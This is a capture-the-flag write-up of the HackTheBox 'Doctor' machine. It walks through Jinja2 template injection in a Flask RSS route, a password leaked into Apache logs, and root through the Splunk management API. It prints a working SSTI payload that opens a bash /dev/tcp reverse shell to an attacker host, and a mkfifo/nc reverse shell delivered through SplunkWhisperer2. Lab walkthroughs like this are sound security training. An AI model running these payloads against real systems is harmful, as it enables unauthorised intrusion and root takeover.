Skip to content

Doctor Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Doctor is a Linux box running a Flask application next to a Splunk instance. The chain runs: a hidden route that renders user messages into an RSS feed, Jinja2 template injection in that route, a password accidentally logged into an Apache access log, and the Splunk management API installing an app that runs as root.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:22
Open $TARGET_IP:80
Open $TARGET_IP:8089
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -p22,80,8089 $TARGET_IP -sCV -T4 -oA nmap/nmap
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open  ssl/unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p22,80,8089 Limit the scan to the ports rustscan already found open.

SSH, Apache, and an SSL service on 8089 that nmap cannot name from the banner. That one is worth coming back to once the web application is exhausted. The site on 80 lists a contact address at doctors.htb, which is the real domain.

Enumeration

Virtual hosts

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://doctors.htb -H "Host: FUZZ.doctors.htb"
www                     [Status: 302, Size: 237, Words: 22, Lines: 4]
Explain command
-H "Host: FUZZ.doctors.htb" Fuzz the Host header rather than the path, testing virtual hosts.

www.doctors.htb redirects to a login page and allows self registration, so an account is a single form away. Inside, messages posted to the dashboard render as expected. The page source carries a route the developers hid rather than removed.

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

/archive is still live and returns the posted messages as an RSS feed, with the message text dropped into the title element.

Vulnerability Discovery

Template injection

User input reaching a renderer that produces structured output is worth probing for server side template injection. Posting {{7*7}} as a message and reloading the feed answers it.

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>49</title></item>
</channel>

The expression was evaluated instead of printed, so the message text passes through Jinja2 before serialisation. Jinja2 runs on Python objects, and Flask hangs the application object off the request, which is the standard route out of the template sandbox and into arbitrary code.

Exploitation

From template to shell

{{ request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"').read() }}

Each hop matters: request.application reaches the live Flask app, __globals__ reaches the module namespace it was defined in, __builtins__ reaches the builtins Jinja2 tries to keep out of templates, and __import__ pulls in os without an import statement. Saving that as a message and loading /archive renders it, which executes it.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 50322
bash: no job control in this shell
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

Foothold as web, and the account is in the adm group, which on Ubuntu exists to give non-root accounts read access to /var/log. That decides the next step.

Lateral Movement

Credentials in the logs

web@doctor ~ $ grep -R -e 'password' /var/log/
/var/log/apache2/backup:$CLIENT_IP - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=$SHAUNS_PASSWORD" 500 453 "http://doctor.htb/reset_password"
<snip>
Explain command
-R Recurse through the log directory.
-e 'password' Match the literal string anywhere in the logs.

The email parameter of a password reset holds something that is clearly not an email address. Someone typed a password into the wrong field and Apache logged the full query string. The site names shaun as a user, and the value works as his password.

web@doctor ~ $ su shaun
Password:
shaun@doctor:/var/log$ whoami
shaun

Privilege Escalation

Identifying port 8089

┌──(kali㉿kali)-[~]
└─$ nmap -p8089 $TARGET_IP -sCV
PORT     STATE SERVICE  VERSION
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
|_http-title: splunkd

That is the Splunk management API. It accepts app bundles over the network, and an app can carry a script that Splunk runs on install, so valid credentials on that port are equivalent to command execution. SplunkWhisperer2 automates the packaging and install.

Unauthenticated it refuses immediately.

┌──(kali㉿kali)-[~]
└─$ python3 PySplunkWhisperer2_remote.py --host $TARGET_IP --port 8089 --lhost $ATTACKER_IP --lport $ATTACKER_PORT --payload id
[.] Authenticating...
Authentication failure

<msg type="ERROR">Unauthorized</msg>

Splunk keeps its own account database, but the password from the log is worth trying there as well, since it already crossed one boundary on this box.

┌──(kali㉿kali)-[~]
└─$ python3 PySplunkWhisperer2_remote.py --host $TARGET_IP --lhost $ATTACKER_IP --username shaun --password '$SHAUNS_PASSWORD' --payload id
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp_wjylygv.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://$ATTACKER_IP:8181/
[+] App installed, your code should be running now!
Explain command
--host $TARGET_IP Splunk instance to authenticate against.
--lhost $ATTACKER_IP Address the target fetches the app bundle from.
--payload id Command the installed app executes on the target.

Splunk runs as root here, which is common where it has to read privileged log sources, so the installed app executes as root. Swapping the payload for a named pipe reverse shell turns that into a session.

┌──(kali㉿kali)-[~]
└─$ python3 PySplunkWhisperer2_remote.py --host $TARGET_IP --lhost $ATTACKER_IP --username shaun --password '$SHAUNS_PASSWORD' --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f'
[.] Authenticating...
[+] Authenticated
[.] Installing app from: http://$ATTACKER_IP:8181/
[+] App installed, your code should be running now!
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 53634
sh: 0: can't access tty; job control turned off
# whoami
root

Root through the app install path. User, lateral movement and root are all covered.

References